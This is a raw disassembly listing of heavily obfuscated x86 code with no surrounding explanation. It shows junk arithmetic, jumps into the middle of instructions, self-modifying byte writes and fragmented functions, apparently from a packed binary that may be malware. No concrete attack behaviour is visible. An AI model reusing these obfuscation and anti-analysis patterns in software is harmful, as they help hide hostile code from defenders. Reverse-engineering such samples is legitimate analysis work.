; ---------------------------------------------------------------------------


loc_42D62D:				; CODE XREF: lsqvqpii:0042CE91j
		or	edi, edx
		xchg	ebx, [esp]
		pop	ebx
		push	6524CE2h
		pop	eax
		and	eax, 2978D263h
		jns	loc_42CFBF
		sub	ebx, 0AE7EBA37h
		jmp	loc_42ED53
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D651:				; CODE XREF: sub_42E407+2E4j
		mov	byte ptr [eax],	0Fh
		pop	eax
		xor	edx, eax
		dec	ecx
; END OF FUNCTION CHUNK	FOR sub_42E407
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
		db 0FFh
		dd 4CE9FFFFh
		db 0FAh, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_42D663	proc near		; CODE XREF: lsqvqpii:loc_42E08Ap
		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 5082D686h
		lock cmp al, 24h
		jmp	near ptr dword_42CEA0+3
sub_42D663	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		push	80D16D38h
		pop	edx
		add	edx, 0ADAF6623h
		jmp	loc_42EDE1
; ---------------------------------------------------------------------------
		align 4
		dd 0CF8F6800h, 81E90042h, 0FFFFF5h
; ---------------------------------------------------------------------------


loc_42D694:				; CODE XREF: lsqvqpii:0042D198j
					; sub_42E332+Dp
		xchg	esi, [esp]
		pop	esi
		call	ds:dword_4210C0	; ExitProcess
		call	sub_42D1E0
; ---------------------------------------------------------------------------
		db 0
		dd 195E900h
		db 3 dup(0)
; ---------------------------------------------------------------------------

locret_42D6AB:				; CODE XREF: lsqvqpii:0042CB9Bj
		retn
; ---------------------------------------------------------------------------


loc_42D6AC:				; CODE XREF: lsqvqpii:0042E3F6j
		jmp	loc_42DA85
; ---------------------------------------------------------------------------
		db 0E9h, 8Ch, 0F4h
		dd 0FFFFh, 0FFF915E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_42D6BD:				; CODE XREF: lsqvqpii:0042D0F6j
		push	offset byte_42E591
		jmp	locret_42DD62
; ---------------------------------------------------------------------------
		align 4
		dd 4CE98100h, 0E849231Dh, 6D9h,	9BF38100h, 52BC40AEh, 65723D68h
		dd 4BE95A89h, 0FFFFFDh,	168EE800h, 0
; ---------------------------------------------------------------------------
		push	offset loc_42DB0F
		jmp	loc_42D23C
; ---------------------------------------------------------------------------
word_42D6FA	dw 9759h		; DATA XREF: sub_42D2AC+6B8o
		dd 0D2092404h, 0F4A840Fh, 38680000h, 0E90042CFh, 0FFFFF6AEh
		dd 2C60000h, 7F685A9Ch,	5E8817CDh, 0A8DBE681h, 0F681DD46h
		dd 9F3CD0F4h, 9157EE81h, 51E9FF28h, 0Ah, 0DEE58100h, 0E9103D75h
		dd 7D6h
; ---------------------------------------------------------------------------


loc_42D740:				; CODE XREF: lsqvqpii:loc_42E983j
		add	eax, 0C5588DB7h
		jmp	loc_42EB9F
; ---------------------------------------------------------------------------
		align 4
		dd 87241487h, 0D18B240Ch, 0E9D02959h, 0FFFFF80Eh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42D75D:				; CODE XREF: sub_42DC4F+D2Cj
		jo	loc_42CABA
		add	ebx, eax
		and	ecx, 58BF8A9Dh
		jmp	loc_42CE4B
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42D771:				; DATA XREF: sub_42EB44-19DEo
		pop	edi
		push	offset byte_42D820
		jmp	locret_42DB9D
; ---------------------------------------------------------------------------
		dd 0C30000h
		db 0
; ---------------------------------------------------------------------------


loc_42D781:				; CODE XREF: lsqvqpii:0042CC95j
		jmp	loc_42CBDC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42D788	proc near		; CODE XREF: sub_42D52F+361p
		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	0A6217DC7h
		jmp	near ptr dword_42CCEC+19h
sub_42D788	endp

; ---------------------------------------------------------------------------
		align 4


loc_42D798:				; CODE XREF: lsqvqpii:0042D378j
					; DATA XREF: sub_42DA05+Ao
		add	edx, ebp
		push	offset word_42E4C6
		jmp	locret_42E4E9
; ---------------------------------------------------------------------------
		dd 860F0000h, 0FFFFF7E3h, 6E880F52h, 8BFFFFFCh,	94880FEBh
		dd 3B00000Ch, 0F39FE9F9h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D7C3:				; CODE XREF: sub_42E407:loc_42D1C8j
		push	offset byte_42E6AB
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FB88Dh, 0B8BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42D7DA:				; CODE XREF: sub_42D877:loc_42E08Fj
		pop	edi
		rol	edi, 14h
		xor	edi, 0E5A1D7DCh
		or	edi, 65F8536Dh
		add	edi, 95B54EF9h
		cmp	eax, edi
		pop	edi
		jmp	loc_42DA23
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		dd 0C2810000h, 425D4EF8h, 35AE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D806:				; CODE XREF: sub_42E407:loc_42CE96j
		xchg	edx, ebp
		jmp	loc_42CC71
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 2

locret_42D80E:				; CODE XREF: lsqvqpii:0042ECDFj
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42D810:				; CODE XREF: sub_42EDBB+15j
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------


loc_42D815:				; CODE XREF: lsqvqpii:0042EABFj
		jmp	loc_42D076
; ---------------------------------------------------------------------------
		jmp	loc_42E1AA
; ---------------------------------------------------------------------------
		align 10h
byte_42D820	db 8Bh,	45h, 0FCh	; DATA XREF: lsqvqpii:0042D772o
byte_42D823	db 8Ah			; DATA XREF: sub_42EB44-1B1Eo
		dd 8B992C00h, 2AF6FC55h, 850FA43Ch, 0FFFFF79Eh,	0DE1E9h
		dd 0FE7AE900h, 0C300FFFFh
		db 0
; ---------------------------------------------------------------------------


loc_42D841:				; DATA XREF: sub_42DF16o
		xchg	edx, [esp]
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		mov	byte ptr [ebx],	0FCh
		pop	ebx
		push	offset byte_42DB27
		jmp	loc_42E327
; ---------------------------------------------------------------------------

locret_42D858:				; CODE XREF: lsqvqpii:0042EC55j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D85B:				; CODE XREF: sub_42E407+1BEj
		jmp	loc_42DFBE
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD93


loc_42D860:				; CODE XREF: sub_42CD93+EB6j
		popf


loc_42D861:				; CODE XREF: sub_42CD93:loc_42E03Dj
		xchg	edx, [esp+0]
		push	offset loc_42E14E
		jmp	loc_42E12E
; END OF FUNCTION CHUNK	FOR sub_42CD93
; ---------------------------------------------------------------------------
		dw 0C300h
; ---------------------------------------------------------------------------


loc_42D870:				; CODE XREF: lsqvqpii:0042E61Aj
		jmp	locret_42EDD7
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42D877	proc near		; CODE XREF: lsqvqpii:0042E6F1j
					; sub_42E407+706p

var_3E60	= dword	ptr -3E60h
var_3E34	= dword	ptr -3E34h

; FUNCTION CHUNK AT 0042CC01 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042D232 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D49B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D53F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042D7DA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042DA23 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042E08F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E1CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E2F5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042E545 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042E5A4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042EA49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EA89 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042EC65 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042ECAF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042ED42 SIZE 0000000E BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	al, 0A4h
		jnz	loc_42E2FA
		jmp	loc_42D49B
sub_42D877	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D52F


loc_42D88A:				; CODE XREF: sub_42D52F:loc_42DF39j
		sub	eax, 4B55F2CBh
		call	sub_42D788
; END OF FUNCTION CHUNK	FOR sub_42D52F
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------
		pop	ebx
		push	edi
		pushf
		push	3E0F1F6h
		pop	edi
		sub	edi, 0A1E6F0FFh
		jmp	loc_42EB21
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42D8AE:				; DATA XREF: lsqvqpii:0042CB96o
		push	42CC55h
		jmp	locret_42EDE0
; ---------------------------------------------------------------------------
		dd 8B01C600h, 4F685759h, 0E90042ECh, 0B94h, 0FAD98C0Fh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_42D8CF:				; CODE XREF: lsqvqpii:0042E20Ej
		jmp	loc_42E01D
; ---------------------------------------------------------------------------
		dd 0C2815B00h, 0F7964B0Bh, 0FFFAC6E9h, 810000FFh, 0D198DDD2h
		dd 824E97Dh, 0C3000000h, 0C4DE8100h, 0E974FBB5h, 0FFFFF673h
		dd 0E90689C3h, 0CDAh
; ---------------------------------------------------------------------------


loc_42D904:				; CODE XREF: lsqvqpii:loc_42D61Bj
		mov	byte ptr [edx],	3
		pop	edx
		mov	ebx, offset locret_42E0E5
		jmp	loc_42EDAF
; ---------------------------------------------------------------------------
		dw 5200h
; ---------------------------------------------------------------------------
		push	91C4A1B8h
		pop	edx
		add	edx, 772F9A77h
		jmp	loc_42E29F
; ---------------------------------------------------------------------------
		align 2


loc_42D926:				; CODE XREF: lsqvqpii:loc_42EBB7j
		and	ebx, 0F58CB71Ah
		xor	ebx, 445A0906h
		push	edi
		mov	edi, offset loc_42E33C
		jmp	loc_42CD54
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 0C3A8F8DEh, 6C1E9DDh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D94C:				; CODE XREF: sub_42E407:loc_42D611j
		mov	byte ptr [esi],	8Bh
		pop	esi


loc_42D950:				; CODE XREF: lsqvqpii:loc_42DAB4j
		xor	esi, 9E8234D0h
		jmp	loc_42DBA5
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42D2AC


loc_42D95C:				; CODE XREF: sub_42D2AC:loc_42E4F3j
		add	ecx, 9A7EF79Ah
		add	eax, ecx
		push	offset word_42D6FA
		jmp	nullsub_23
; END OF FUNCTION CHUNK	FOR sub_42D2AC
; ---------------------------------------------------------------------------


loc_42D96E:				; CODE XREF: lsqvqpii:loc_42E9EAj
					; DATA XREF: sub_42E9E0o
		xchg	ebx, [esp]
		xchg	eax, [esp]
		mov	ebx, eax
		pop	eax
		jmp	near ptr loc_42ED4C+1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D97E:				; CODE XREF: sub_42E407-8B6j
		mov	byte ptr [edx],	8Bh
		pop	edx
		call	sub_42D338
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 0
		dd 5D4C6800h, 815AD29Bh, 2EB7CEEAh, 0BDF281CCh,	81AB29DEh
		dd 0E03DC9CAh, 0D7FA6894h, 0F3E90042h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

locret_42D9AB:				; CODE XREF: lsqvqpii:0042CECCj
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebx],	87h
		xchg	eax, [esp]
		mov	ebx, eax
		pop	eax
		mov	ecx, ebp
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_42EB2D
; ---------------------------------------------------------------------------
		db 0
byte_42D9C1	db 68h,	0Eh, 0CEh	; DATA XREF: lsqvqpii:0042E810o
		dd 42E90042h, 0FFFFF4h,	0BAE9FD1Bh, 2, 65E95E00h, 0FFFFF6h
		dd 4FE9FA85h, 0FFFFF9h
; ---------------------------------------------------------------------------

locret_42D9E4:				; CODE XREF: lsqvqpii:0042EDF2j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0E2Fh, 895E9h, 24148700h, 8B242C87h,	714E8D5h, 12E90000h
		dd 8
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42DA05	proc near		; CODE XREF: lsqvqpii:0042D3C6j
		xchg	edi, [esp+0]
		pop	edi
		xor	edx, 0C9C4DC56h
		push	offset loc_42D798
		jmp	near ptr dword_42CCEC+12h
sub_42DA05	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
		dd 0D7E90000h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42DA23:				; CODE XREF: sub_42D877-84j
		jge	loc_42EA89
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFF12487h, 1051E9FFh, 0C6000000h, 3C87F606h, 5FF78B24h
					; CODE XREF: lsqvqpii:loc_42ED14j
		dd 42ED9268h, 0F056E900h, 8B00FFFFh, 0C5685110h, 0E90042EBh
		dd 0FFBh, 7BD1C081h, 5152D55Bh,	42CF95B9h, 0FC1FE900h
		dd 8700FFFFh, 68582404h, 0A6E60B6Fh, 43E08158h,	0C1DBE7C5h
		dd 79E905C0h, 3
		db 0
; ---------------------------------------------------------------------------


loc_42DA85:				; CODE XREF: lsqvqpii:loc_42D6ACj
		jz	loc_42E244
		add	[eax+0Bh], bl
		call	near ptr 0E95BC454h
		lodsd
		pop	es
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 33C793B1h
		rol	eax, 3
		and	eax, 71E8FD62h
		xor	eax, 0A75D9DC2h
		jmp	loc_42E6B4
; ---------------------------------------------------------------------------
		align 4


loc_42DAB4:				; CODE XREF: lsqvqpii:0042E87Aj
		jbe	loc_42D950
		xchg	ebx, edx
		jmp	loc_42E3B1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42DAC3:				; CODE XREF: sub_42DC4F-DF1j
		push	edi
		pushf
		push	offset dword_42E844
		jmp	loc_42CB07
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E2D3


loc_42DAD1:				; CODE XREF: sub_42E2D3+Dj
		xchg	edi, [esp+0]
		call	eax
		jmp	loc_42E9D3
; END OF FUNCTION CHUNK	FOR sub_42E2D3
; ---------------------------------------------------------------------------
		align 4
		dd 0F25AE800h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E332


loc_42DAE3:				; CODE XREF: sub_42E332+2Ej
		xchg	edi, [esp+0]
		push	edx
		pop	ecx
		imul	edi, dword ptr ds:loc_42EB9D[eax], -17h
		call	far ptr	0C281h:4 ; CODE	XREF: sub_42D1E0+1741j
; END OF FUNCTION CHUNK	FOR sub_42E332
; ---------------------------------------------------------------------------
		dw 0D68Fh
; ---------------------------------------------------------------------------
		and	cl, [eax]
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		mov	ecx, offset loc_42E0B3
		jmp	loc_42E0AC
; ---------------------------------------------------------------------------
		align 4

locret_42DB0C:				; CODE XREF: lsqvqpii:loc_42D23Cj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42DB0F:				; DATA XREF: lsqvqpii:0042D6F0o
		push	89FF32E4h
		jmp	loc_42E229
; ---------------------------------------------------------------------------
		db 2 dup(0), 56h
; ---------------------------------------------------------------------------
		mov	esi, ecx
		xchg	esi, [esp]
		jmp	loc_42D616
; ---------------------------------------------------------------------------
		db 0
byte_42DB27	db 0E8h			; DATA XREF: lsqvqpii:0042D84Eo
; ---------------------------------------------------------------------------
		sahf
		add	eax, 0
		push	edi
		push	42D913h
		jmp	loc_42DDEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DB39:				; CODE XREF: sub_42E407:loc_42DDA2j
		rol	edx, 1Fh
		or	edx, 0F98EA03Ch
		rol	edx, 9
		xor	edx, 5AAF4919h
		add	edx, 184615FBh
		jmp	loc_42D97E
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D010


loc_42DB56:				; CODE XREF: sub_42D010-54Ej
		pop	edx


loc_42DB57:				; DATA XREF: sub_42D010+5o
		xchg	eax, [esp-8+arg_4]


loc_42DB5A:				; CODE XREF: sub_42DC4F:loc_42DFF4j
		push	eax
		pop	ebp
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42D010
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 3E7h
; ---------------------------------------------------------------------------


loc_42DB64:				; CODE XREF: lsqvqpii:loc_42E30Aj
		push	548F764Fh
		jmp	loc_42EA5A
; ---------------------------------------------------------------------------
		dw 8100h
; ---------------------------------------------------------------------------
		retf	15CCh
; ---------------------------------------------------------------------------
		db 78h
		dd 15C2C1C5h, 35D1C281h, 319DF614h, 90E9E2C0h, 10h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
		align 4


loc_42DB8C:				; CODE XREF: lsqvqpii:0042E731j
		jmp	loc_42E9EA
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_42DB92	proc near		; CODE XREF: sub_42DD3F:loc_42CBC8j
					; sub_42CEFC+9j ...
		push	offset byte_42D429
		jmp	nullsub_19
sub_42DB92	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_42DB9D:				; CODE XREF: lsqvqpii:0042D777j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_42EBB5
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DBA5:				; CODE XREF: sub_42E407-AB1j
		jmp	loc_42D3E2
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dw 8B00h
		dd 93E90045h, 8
; ---------------------------------------------------------------------------


loc_42DBB4:				; CODE XREF: lsqvqpii:0042EA80j
		jnz	loc_42E08A
		test	eax, ebp
		jmp	loc_42E076
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42EB44


loc_42DBC2:				; CODE XREF: sub_42EB44:loc_42CCC9j
		mov	edi, offset loc_42D164
		jmp	loc_42CE7D
; END OF FUNCTION CHUNK	FOR sub_42EB44
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D080


loc_42DBCE:				; CODE XREF: sub_42D080:loc_42E6CAj
		mov	byte ptr [ebx],	87h
		pop	ebx
		xor	eax, 2DD57D4Bh
		add	eax, ebp
		add	eax, 15709024h
		mov	eax, [eax]
		jmp	loc_42CDE4
; END OF FUNCTION CHUNK	FOR sub_42D080
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		align 2
		jmp	locret_42ED0D
; ---------------------------------------------------------------------------
		align 10h


loc_42DBF0:				; CODE XREF: lsqvqpii:loc_42D324j
		mov	byte ptr [eax],	8Bh
		pop	eax
		push	ebp


loc_42DBF5:				; DATA XREF: lsqvqpii:0042CD41o
		db	67h
		in	al, dx
		push	offset sub_42EC30
		jmp	loc_42D006
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D2AC


loc_42DC03:				; CODE XREF: sub_42D2AC+1830j
		mov	byte ptr [edi],	87h
		pop	edi
		and	ecx, 0D30A090Fh
		or	ecx, 6D8D8FFAh
		and	ecx, 75C1486Ah
		jmp	loc_42E4F3
; END OF FUNCTION CHUNK	FOR sub_42D2AC
; ---------------------------------------------------------------------------
		dw 0F700h
		dd 1BF881D0h, 0E9298BFAh, 0FFFFF74Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DC2E:				; CODE XREF: sub_42E407:loc_42E908j
		jz	loc_42E9F5
		jmp	loc_42E903
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
		align 2
		shl	ebx, 11h
		jmp	sub_42D2AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD93


loc_42DC46:				; CODE XREF: sub_42CD93+12B0j
		shr	edi, 0Bh
		jmp	loc_42D860
; END OF FUNCTION CHUNK	FOR sub_42CD93
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42DC4F	proc near		; CODE XREF: sub_42D877+14D0p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042CB07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE4B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042D0BF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042D75D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DAC3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042DF3F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DFF4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042E3AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E67D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042E966 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042EB9D SIZE 00000007 BYTES

		xchg	edi, [esp+0]
		xchg	ebp, [esp+0]
		mov	edi, ebp
		pop	ebp
		pushf
		push	498BEC34h
		pop	ecx
		add	ecx, 555D0EEh
		jmp	loc_42E67D
sub_42DC4F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0F700h
; ---------------------------------------------------------------------------
		retn	0
; ---------------------------------------------------------------------------
		align 10h
		dd 0DBAE920h, 0E5810000h, 74887E1Eh, 5B241C87h,	0E632B850h
		dd 3EE90042h, 0Dh, 87860F00h, 87FFFFF8h, 8B5E2434h, 8AFC45h
		dd 1A68992Ch, 0E90042EDh, 0FFFFFF42h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EC73


loc_42DCA9:				; CODE XREF: sub_42EC73+8j
		pop	ecx
		push	edx
		mov	edx, offset loc_42D520
		jmp	loc_42E479
; END OF FUNCTION CHUNK	FOR sub_42EC73
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 0F18B56ECh
; ---------------------------------------------------------------------------


loc_42DCBC:				; DATA XREF: sub_42E407:loc_42D3E2o
		xchg	esi, [esp]
		push	edx
		jmp	loc_42EE12

; =============== S U B	R O U T	I N E =======================================



sub_42DCC5	proc near		; CODE XREF: sub_42EDBB-1E1Ap
		xchg	eax, [esp+0]
		pop	eax
		call	sub_42EFA1


loc_42DCCE:				; DATA XREF: sub_42EDBB:loc_42E722o
		nop
		call	sub_42EE3C
		mov	ds:byte_42DDCD,	0Fh
		mov	ds:byte_42DE10,	0Fh
		retn
sub_42DCC5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 2


loc_42DCE6:				; CODE XREF: lsqvqpii:0042E86Dj
		jmp	locret_42E182
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_42E6BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DCF1:				; CODE XREF: sub_42E407:loc_42E4B5j
		sub	edx, 0F0C99E20h
		rol	edx, 1Dh
		xor	edx, 0DEAB2007h
		jnz	loc_42E2C7
		add	[ebx-0CDB16E8h], cl
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dd 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E930


loc_42DD10:				; CODE XREF: sub_42E930+18j
		add	ecx, 716EB2D9h
		xchg	ecx, [esp+0]
		jmp	loc_42CBC8
; END OF FUNCTION CHUNK	FOR sub_42E930
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0D00h, 0DE02B850h, 3DE90042h, 4, 7FA8100h, 0E997A1E9h
		dd 0FFFFFA6Ah
		db 0, 33h, 0EAh

; =============== S U B	R O U T	I N E =======================================



sub_42DD3F	proc near		; CODE XREF: lsqvqpii:loc_42CD11p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042CBC2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CE22 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042CEF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CF1C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042D3CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E176 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E292 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E30F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E8C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EAE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC48 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		mov	eax, offset loc_42E316
		jmp	loc_42CEF7
sub_42DD3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h


loc_42DD50:				; CODE XREF: lsqvqpii:0042CFB4j
		mov	ebp, 1BFA93DAh
		push	ebx
		push	6F588FD8h
		pop	ebx
		jmp	loc_42EBB7
; ---------------------------------------------------------------------------
		align 2

locret_42DD62:				; CODE XREF: lsqvqpii:0042D6C2j
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DD67:				; CODE XREF: sub_42E407-443j
		jmp	loc_42E105
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dd 57C28100h, 8BA9E4BCh, 0E92AF612h, 0FFFFEFE9h, 0C35800h
		dd 42EFA7h, 0
		dd 116h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D080


loc_42DD8C:				; CODE XREF: sub_42D080+19j
		jmp	loc_42E5AA
; END OF FUNCTION CHUNK	FOR sub_42D080
; ---------------------------------------------------------------------------
		align 2
		dw 32E9h
		dd 0FFFFF7h, 65831DB3h,	0EDE2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DDA2:				; CODE XREF: sub_42E407-1096j
		jmp	loc_42DB39
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DDA8:				; CODE XREF: sub_42E407-12D3j
		jmp	loc_42CED3
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0DA8B535Fh, 0BA241C87h, 42EBF5h, 0FFFFDCE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_42DDC3:				; CODE XREF: lsqvqpii:loc_42EB2Dj
		push	edx
		pop	ebp
		pop	edx
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFEE4Dh
		db 0
byte_42DDCD	db 0Fh			; DATA XREF: sub_42DCC5+Fw
					; lsqvqpii:0042E3D2o
		dw 4884h
